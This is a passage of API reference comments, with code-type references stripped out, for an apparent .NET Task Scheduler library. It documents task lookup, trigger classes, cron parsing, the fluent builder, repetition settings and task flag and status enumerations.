+ + + Finds all tasks matching a name or standard wildcards. + The filter used to determine tasks to select. + if set to true search all sub folders. + An array of containing all tasks matching . + TaskService.Instance.FindAllTasks(t => t.Triggers.ContainsType(typeof(LogonTrigger)), true); + + + Finds a task given a name and standard wildcards. + The task name. This can include the wildcards * or ?. + if set to true search all sub folders. + A if one matches , otherwise NULL. + + + Gets the event log for this instance. + (Optional) The task path if only the events for a single task are desired. + A instance. + + + Gets the path to a folder of registered tasks. + + The path to the folder to retrieve. Do not use a backslash following the last folder name in the path. The root task folder is + specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character + cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + instance for the requested folder or null if was unrecognized. + + Folder other than the root (\) was requested on a system not supporting Task Scheduler 2.0. + + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets a collection of running tasks. + True to include hidden tasks. + instance with the list of running tasks. + + + Gets the task with the specified path. + The task path. + + The instance matching the , if found. If not found, this method returns null. + + + + + Returns an empty task definition object to be filled in with settings and properties and then registered using the + method. + + A instance for setting properties. + + + Returns a populated with the properties defined in an XML file. + The XML file to use as input. + A instance. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + Sets the user password as a secure string to be used when connecting to the . + A secure string containing the user password to set. + + + Starts the Task Scheduler UI for the OS hosting the assembly if the session is running in interactive mode. + + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Connects this instance of the class to a running Task Scheduler. + + + Finds the task in folder. + The folder. + The wildcard expression to compare task names with. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + + Represents a valid, connected session to a Task Scheduler instance. This token is thread-safe and should be the means of passing + information about a between threads. + + + + Initial call for a Fluent model of creating a task. + The path of the program to run. + An instance. + + + + Abstract base class which provides the common properties that are inherited by all trigger classes. A trigger can be created using + the or the method. + + + + Creates a trigger using a cron string. + String using cron defined syntax for specifying a time interval. See remarks for syntax. + Array of representing the specified cron string. + Unsupported cron string. + + This method does not support all combinations of cron strings. Please test extensively before use. Please post an issue with any + syntax that should work, but doesn't. + The following combinations are known not to work: + + Intervals on months (e.g. "* * * */5 *") + Intervals on DOW (e.g. "* * * * MON/3") + + + This section borrows liberally from the site http://www.nncron.ru/help/EN/working/cron-format.htm. The cron format consists of five fields separated + by white spaces: + + + <Minute> <Hour> <Day_of_the_Month> <Month_of_the_Year> <Day_of_the_Week> + + Each item has bounds as defined by the following: + + * * * * * + | | | | | + | | | | +---- Day of the Week (range: 1-7, 1 standing for Monday) + | | | +------ Month of the Year (range: 1-12) + | | +-------- Day of the Month (range: 1-31) + | +---------- Hour (range: 0-23) + +------------ Minute (range: 0-59) + + Any of these 5 fields may be an asterisk (*). This would mean the entire range of possible values, i.e. each minute, each hour, etc. + + Any of the first 4 fields can be a question mark ("?"). It stands for the current time, i.e. when a field is processed, the current time will be + substituted for the question mark: minutes for Minute field, hour for Hour field, day of the month for Day of month field and month for Month field. + + Any field may contain a list of values separated by commas, (e.g. 1,3,7) or a range of values (two integers separated by a hyphen, e.g. 1-5). + + After an asterisk (*) or a range of values, you can use character / to specify that values are repeated over and over with a certain interval between + them. For example, you can write "0-23/2" in Hour field to specify that some action should be performed every two hours (it will have the same effect + as "0,2,4,6,8,10,12,14,16,18,20,22"); value "*/4" in Minute field means that the action should be performed every 4 minutes, "1-30/3" means the same + as "1,4,7,10,13,16,19,22,25,28". + + + + + In testing and may change. Do not use until officially introduced into library. + + + Occurs when a property value changes. + + + Gets or sets a Boolean value that indicates whether the trigger is enabled. + + + + Gets or sets the date and time when the trigger is deactivated. The trigger cannot start the task after it is deactivated. + While the maximum value for this property is , the Windows Task Scheduler management + application that is part of the OS will fail if this value is greater than December 31, 9998. + + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for the Day, Month and Year values of the structure. + + + Version 2 (1.2 or higher) of the native library only allows for both date and time and all values. + However, the user interface and methods will always show the time translated to local time. The + library makes every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, + the "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the + user selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + + + + Gets or sets the maximum amount of time that the task launched by this trigger is allowed to run. Not available with Task + Scheduler 1.0. + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier for the trigger. Cannot set with Task Scheduler 1.0. + Not supported under Task Scheduler 1.0. + + + + Gets a instance that indicates how often the task is run and how long the repetition pattern is + repeated after the task is started. + + + + Gets or sets the date and time when the trigger is activated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for values where the is unspecified. If the DateTime value Kind is then it will be used as + is. If the DateTime value Kind is then it will be converted to the local time and then used. + + + Version 2 (1.2 or higher) of the native library only allows for all values. However, the user + interface and methods will always show the time translated to local time. The library makes + every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, the + "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the user + selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + Under Version 2, when converting the string used in the native library for this value (ITrigger.Startboundary) this library will + behave as follows: + + + YYYY-MM-DDTHH:MM:SS format uses DateTimeKind.Unspecified and the time specified. + + + YYYY-MM-DDTHH:MM:SSZ format uses DateTimeKind.Utc and the time specified as the GMT time. + + + YYYY-MM-DDTHH:MM:SS±HH:MM format uses DateTimeKind.Local and the time specified in that time zone. + + + + + + + Gets the type of the trigger. + The of the trigger. + + + Creates the specified trigger. + Type of the trigger to instantiate. + of specified type. + + + Creates a new that is an unbound copy of this instance. + A new that is an unbound copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Sets the repetition. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + if set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Returns a string representing this trigger. + String value of trigger. + + + Returns a that represents this trigger in a specific language. + The language of the resulting string. + String value of trigger. + + + Gets the best time span string. + The to display. + Either the full string representation created by TimeSpan2 or the default TimeSpan representation. + + + Assigns the unbound TriggerData structure to the V1 trigger instance. + + + Checks the bind value for any conversion. + The key (property) name. + The value. + + + Gets the unbound value or a default. + Return type. + The property name. + The default value if not found in unbound value list. + The unbound value, if set, or the default value. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Fluent helper class. Not intended for use. + + + Adds a trigger that executes at logon of all users. + instance. + + + Adds a trigger that executes at logon of a specific user. + The user id. + instance. + + + Adds a trigger that executes at task registration. + instance. + + + Adds a trigger that executes every day or week. + The interval of days or weeks. + instance. + + + Adds a trigger that executes monthly on specific days. + The months of the year in which to run. + instance. + + + Adds a working directory to the . + The directory. + instance. + + + Adds a trigger that executes monthly on certain days of the week. + The days of the week on which to run. + instance. + + + Adds a trigger that executes at system startup. + instance. + + + Adds a trigger that executes once at a specific time. + instance. + + + Adds a trigger that executes when system is idle. + instance. + + + Adds a trigger that executes once at specified state change. + Type of the change. + instance. + + + Adds arguments to the . + The arguments. + instance. + + + Fluent helper class. Not intended for use. + + + Transitions to settings syntax. + + + Assigns the name of the task and registers it. + The name. + A registered instance. + + + Assigns the name of the task and registers it. + The name. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + A registered instance. + + + Fluent helper class. Not intended for use. + + + Specifies that an Every target uses days as the interval. + instance. + + + Specifies that an Every target uses weeks as the interval. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify in which weeks of the month it will run. + The week. + instance. + + + Updates a monthly trigger to specify the months of the year in which it will run. + The month of the year. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify the days of the month on which it will run. + The days. + instance. + + + Fluent helper class. Not intended for use. + + + Indicates that the task will be started even if the computer is running on battery power. + instance. + + + + Indicates that the task will be started even if the task is triggered to run in a Remote Applications Integrated Locally + (RAIL) session. + + instance. + + + Sets the task data to a string. + instance. + + + Sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. + instance. + + + Indicates that the task cannot be started with the Run command or the Context menu. + instance. + + + Indicates that the task may not be terminated by using TerminateProcess. + instance. + + + Sets the amount of time that is allowed to complete the task. + instance. + + + Sets the policy that defines how the Task Scheduler handles multiple instances of the task. + instance. + + + Indicates that the task will not be stopped if the computer switches to battery power. + instance. + + + Indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + instance. + + + Indicates that the Task Scheduler will run the task only when a network is available. + instance. + + + Sets the priority level of the task. + instance. + + + Sets a value that specifies how long the Task Scheduler will attempt to restart the task. + instance. + + + Indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + instance. + + + Indicates that the Task Scheduler will wake the computer when it is time to run the task. + instance. + + + Fluent helper class. Not intended for use. + + + Specifies a date on which a trigger will no longer run. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will no longer run. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will no longer run. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will no longer run. + The DateTime value. + instance. + + + Determines whether this trigger is disabled. + instance. + + + Specifies a repetition interval for the trigger. + The interval span. + instance. + + + Specifies a repetition interval for the trigger. + The interval span string. Must be parsable by . + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span. + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span string. Must be parsable by . + instance. + + + Specifies a date on which a trigger will start. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will start. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will start. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will start. + The DateTime value. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a weekly trigger to specify the days of the week on which it will run. + The days of the week. + instance. + + + Fluent helper class. Not intended for use. + + + Values for days of the week (Monday, Tuesday, etc.) + + + Sunday + + + Monday + + + Tuesday + + + Wednesday + + + Thursday + + + Friday + + + Saturday + + + All days + + + Values for months of the year (January, February, etc.) + + + January + + + February + + + March + + + April + + + May + + + June + + + July + + + August + + + September + + + October + + + November + + + December + + + All months + + + Defines the type of triggers that can be used by tasks. + + + Triggers the task when a specific event occurs. Version 1.2 only. + + + Triggers the task at a specific time of day. + + + Triggers the task on a daily schedule. + + + Triggers the task on a weekly schedule. + + + Triggers the task on a monthly schedule. + + + Triggers the task on a monthly day-of-week schedule. + + + Triggers the task when the computer goes into an idle state. + + + Triggers the task when the task is registered. Version 1.2 only. + + + Triggers the task when the computer boots. + + + Triggers the task when a specific user logs on. + + + Triggers the task when a specific user session state changes. Version 1.2 only. + + + Triggers the custom trigger. Version 1.3 only. + + + Values for week of month (first, second, ..., last) + + + First week of the month + + + Second week of the month + + + Third week of the month + + + Fourth week of the month + + + Last week of the month + + + Every week of the month + + + Interface that categorizes the trigger as a calendar trigger. + + + Interface for triggers that support a delay. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Interface for triggers that support a user identifier. + + + Gets or sets the user for the . + + + Represents a trigger that starts a task when the system is booted. + + A BootTrigger will fire when the system starts. It can only be delayed. All triggers that support a delay implement the + ITriggerDelay interface. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a custom trigger. This class is based on undocumented features and may change. This type of trigger is only + available for reading custom triggers. It cannot be used to create custom triggers. + + + + Gets a value that indicates the amount of time between the trigger events and when the task is started. + This value cannot be set. + + + Gets the name of the custom trigger type. + The name of the XML element representing this custom trigger. + + + Gets the properties from the XML definition if possible. + + + Clones this instance. + This method will always throw an exception. + CustomTrigger cannot be cloned due to OS restrictions. + + + Updates custom properties from XML provided by definition. + The XML from the TaskDefinition. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a daily schedule. For example, the task starts at a specific time every day, every + other day, every third day, and so on. + + A DailyTrigger will fire at a specified time every day or interval of days. + + + + + + + + Creates an unbound instance of a . + Interval between the days in the schedule. + + + Sets or retrieves the interval between the days in the schedule. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a system event occurs. Only available for Task Scheduler 2.0 on Windows Vista or + Windows Server 2003 and later. + + The EventTrigger runs when a system event fires. + + + "; + eTrigger.ValueQueries.Add("Name", "Value"); + ]]> + + + + + Creates an unbound instance of a . + + + Initializes an unbound instance of the class and sets a basic event. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the XPath query string that identifies the event that fires the trigger. + + + + Gets a collection of named XPath queries. Each query in the collection is applied to the last matching event XML returned from + the subscription query specified in the Subscription property. The name of the query can be used as a variable in the message of + a action. + + + + Builds an event log XML query string based on the input parameters. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + XML query string. + log + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets basic event information. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + true if subscription represents a basic event, false if not. + + + + Sets the subscription for a basic event. This will replace the contents of the property and clear all + entries in the property. + + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when the computer goes into an idle state. For information about idle conditions, see Task + Idle Conditions. + + + An IdleTrigger will fire when the system becomes idle. It is generally a good practice to set a limit on how long it can run using + the ExecutionTimeLimit property. + + + + + + + + + Creates an unbound instance of a . + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a user logs on. When the Task Scheduler service starts, all logged-on users are + enumerated and any tasks registered with logon triggers that match the logged on user are run. Not available on Task Scheduler 1.0. + + + A LogonTrigger will fire after a user logs on. It can only be delayed. Under V2, you can specify which user it applies to. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + + Gets or sets The identifier of the user. For example, "MyDomain\MyName" or for a local account, "Administrator". + This property can be in one of the following formats: + • User name or SID: The task is started when the user logs on to the computer. + • NULL: The task is started when any user logs on to the computer. + + + If you want a task to be triggered when any member of a group logs on to the computer rather than when a specific user logs on, + then do not assign a value to the LogonTrigger.UserId property. Instead, create a logon trigger with an empty + LogonTrigger.UserId property and assign a value to the principal for the task using the Principal.GroupId property. + + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task on a monthly day-of-week schedule. For example, the task starts on every first Thursday, May + through October. + + + + Creates an unbound instance of a . + The days of the week. + The months of the year. + The weeks of the month. + + + Gets or sets the days of the week during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last week of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets the weeks of the month during which the task runs. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + + Represents a trigger that starts a job based on a monthly schedule. For example, the task starts on specific days of specific months. + + + + Creates an unbound instance of a . + + The day of the month. This must be a value between 1 and 32. If this value is set to 32, then the value will be set and no days will be added regardless of the month. + + The months of the year. + + + Gets or sets the days of the month during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last day of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Converts an array of bit indices into a mask with bits turned ON at every index contained in the array. Indices must be from 1 + to 32 and bits are numbered the same. + + An array with an element for each bit of the mask which is ON. + An integer to be interpreted as a mask. + + + Compares two collections. + Item type of collections. + The first collection. + The second collection + true if the collections values are equal; false otherwise. + + + + Convert an integer representing a mask to an array where each element contains the index of a bit that is ON in the mask. Bits + are considered to number from 1 to 32. + + An integer to be interpreted as a mask. + An array with an element for each bit of the mask which is ON. + + + Reads the subclass XML for V1 streams. + The reader. + + + + Represents a trigger that starts a task when the task is registered or updated. Not available on Task Scheduler 1.0. Only + available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + The RegistrationTrigger will fire after the task is registered (saved). It is advisable to put in a delay. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Defines how often the task is run and how long the repetition pattern is repeated after the task is started. + This can be used directly or by assignment for a . + + + + + + + + Initializes a new instance of the class. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + If set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Occurs when a property value changes. + + + Gets or sets how long the pattern is repeated. + + The duration that the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the + pattern is repeated indefinitely. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + + Gets or sets the amount of time between each restart of the task. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + + + Gets or sets a Boolean value that indicates if a running instance of the task is stopped at the end of repetition pattern duration. + + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Determines whether any properties for this have been set. + true if properties have been set; otherwise, false. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Triggers tasks for console connect or disconnect, remote connect or disconnect, or workstation lock or unlock notifications. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + + The SessionStateChangeTrigger will fire after six different system events: connecting or disconnecting locally or remotely, or + locking or unlocking the session. + + + + + + + + + Creates an unbound instance of a . + + + Initializes a new instance of the class. + The state change. + The user identifier. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the kind of Terminal Server session change that would trigger a task launch. + + + + Gets or sets the user for the Terminal Server session. When a session state change is detected for this user, a task is started. + + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Returns a value indicating if the StateChange property has been set. + StateChange property has been set. + + + Represents a trigger that starts a task at a specific date and time. + A TimeTrigger runs at a specified date and time. + + + + + + + + Creates an unbound instance of a . + + + Creates an unbound instance of a and assigns the execution time. + Date and time for the trigger to fire. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a weekly schedule. For example, the task starts at 8:00 A.M. on a specific day of + the week every week or every other week. + + A WeeklyTrigger runs at a specified time on specified days of the week every week or interval of weeks. + + + + + + + + Creates an unbound instance of a . + The days of the week. + The interval between the weeks in the schedule. + + + Gets or sets the days of the week on which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets the interval between the weeks in the schedule. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + Provides the methods that are used to add to, remove from, and get the triggers of a task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of triggers in the collection. + + + Gets or sets a specified trigger from the collection. + The . + The id ( ) of the trigger to be retrieved. + Specialized instance. + + + + Mismatching Id for trigger and lookup. + + + Gets a specified trigger from the collection. + The index of the trigger to be retrieved. + Specialized instance. + + + Add an unbound to the task. + A type derived from . + derivative to add to the task. + Bound trigger. + unboundTrigger is null. + + + Add a new trigger to the collections of triggers for the task. + The type of trigger to create. + A instance of the specified type. + + + Adds a collection of unbound triggers to the end of the . + + The triggers to be added to the end of the . The collection itself cannot be null and + cannot contain null elements. + + is null. + + + Clears all triggers from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified trigger type is contained in this collection. + Type of the trigger. + true if the specified trigger type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an , starting at a particular index. + + + The one-dimensional that is the destination of the elements copied from . The + must have zero-based indexing. + + The zero-based index in at which copying begins. + + + + Copies the elements of the to a array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Gets the collection enumerator for this collection. + The for this collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the trigger to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an trigger at the specified index. + The zero-based index at which trigger should be inserted. + The trigger to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the trigger at a specified index. + Index of trigger to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the triggers in this collection. + A that represents the triggers in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Releases all resources used by this class. + + + Represents a system account. + + + Initializes a new instance of the class. + + Name of the user. This can be in the format DOMAIN\username or username@domain.com or username or + null (for current user). + + + + Initializes a new instance of the class. + The . + + + Gets the current user. + The current user. + + + Gets the identity. + The identity. + + + Gets a value indicating whether this instance is in an administrator role. + true if this instance is an admin; otherwise, false. + + + Gets a value indicating whether this instance is the interactive user. + true if this instance is the current user; otherwise, false. + + + Gets a value indicating whether this instance is a service account. + true if this instance is a service account; otherwise, false. + + + Gets a value indicating whether this instance is the SYSTEM account. + true if this instance is the SYSTEM account; otherwise, false. + + + Gets the SID string. + The SID string. + + + Gets the NT name (DOMAIN\username). + The name of the user. + + + Create a instance from a SID string. + The SID string. + A instance. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + Options for a task, used for the Flags property of a Task. Uses the + "Flags" attribute, so these values are combined with |. + Some flags are documented as Windows 95 only, but they have a + user interface in Windows XP so that may not be true. + + + + + The interactive flag is set if the task is intended to be displayed to the user. + If the flag is not set, no user interface associated with the task is presented + to the user when the task is executed. + + + + + The task will be deleted when there are no more scheduled run times. + + + + + The task is disabled. This is useful to temporarily prevent a task from running + at the scheduled time(s). + + + + + The task begins only if the computer is not in use at the scheduled start time. Windows 95 only. + + + + + The task terminates if the computer makes an idle to non-idle transition while the task is running. + The computer is not considered idle until the IdleWait triggers' time elapses with no user input. + Windows 95 only. For information regarding idle triggers, see . + + + + + The task does not start if its target computer is running on battery power. Windows 95 only. + + + + + The task ends, and the associated application quits if the task's target computer switches + to battery power. Windows 95 only. + + + + + The task runs only if the system is docked. Windows 95 only. + + + + + The work item created will be hidden. + + + + + The task runs only if there is currently a valid Internet connection. + This feature is currently not implemented. + + + + + The task starts again if the computer makes a non-idle to idle transition before all the + task's task_triggers elapse. (Use this flag in conjunction with KillOnIdleEnd.) Windows 95 only. + + + + + The task runs only if the SYSTEM account is available. + + + + + The task runs only if the user specified in SetAccountInformation is logged on interactively. + This flag has no effect on work items set to run in the local account. + + + + + Status values returned for a task. Some values have been determined to occur although + they do no appear in the Task Scheduler system documentation. + + + + The task is ready to run at its next scheduled time. + + + The task is currently running. + + + One or more of the properties that are needed to run this task on a schedule have not been set. + + + The task has not yet run. + + + The task will not run at the scheduled times because it has been disabled. + + + There are no more runs scheduled for this task. + + + The last run of the task was terminated by the user. + + + Either the task has no triggers or the existing triggers are disabled or not set. + + + Event triggers don't have set run times. + + + Valid types of triggers + + + Trigger is set to run the task a single time. + + + Trigger is set to run the task on a daily interval. + + + Trigger is set to run the work item on specific days of a specific week of a specific month. + + + Trigger is set to run the task on a specific day(s) of the month. + + + Trigger is set to run the task on specific days, weeks, and months. + + + Trigger is set to run the task if the system remains idle for the amount of time specified by the idle wait time of the task. + + + Trigger is set to run the task at system startup. + + + Trigger is set to run the task when a user logs on. + + + + Represents a wildcard running on the + engine. + + + + + Initializes a wildcard with the given search pattern and options. + + The wildcard pattern to match. + A combination of one or more . + + + + Converts a wildcard to a regular expression. + + The wildcard pattern to convert. + A regular expression equivalent of the given wildcard. + + + + The GlobalLock function locks a global memory object and returns a pointer to the first byte of the object's memory block. + GlobalLock function increments the lock count by one. + Needed for the clipboard functions when getting the data from IDataObject + + + + + + + The GlobalUnlock function decrements the lock count associated with a memory object. + + + + + + + Defines the errors returned by the status member of the DS_NAME_RESULT_ITEM structure. These are potential errors that may be encountered while a name is converted by the DsCrackNames function. + + + + The conversion was successful. + + + Generic processing error occurred. + + + The name cannot be found or the caller does not have permission to access the name. + + + The input name is mapped to more than one output name or the desired format did not have a single, unique value for the object found. + + + The input name was found, but the associated output format cannot be found. This can occur if the object does not have all the required attributes. + + + Unable to resolve entire name, but was able to determine in which domain object resides. The caller is expected to retry the call at a domain controller for the specified domain. The entire name cannot be resolved, but the domain that the object resides in could be determined. The pDomain member of the DS_NAME_RESULT_ITEM contains valid data when this error is specified. + + + A syntactical mapping cannot be performed on the client without transmitting over the network. + + + The name is from an external trusted forest. + + + + Used to define how the name syntax will be cracked. These flags are used by the DsCrackNames function. + + + + Indicate that there are no associated flags. + + + Perform a syntactical mapping at the client without transferring over the network. The only syntactic mapping supported is from DS_FQDN_1779_NAME to DS_CANONICAL_NAME or 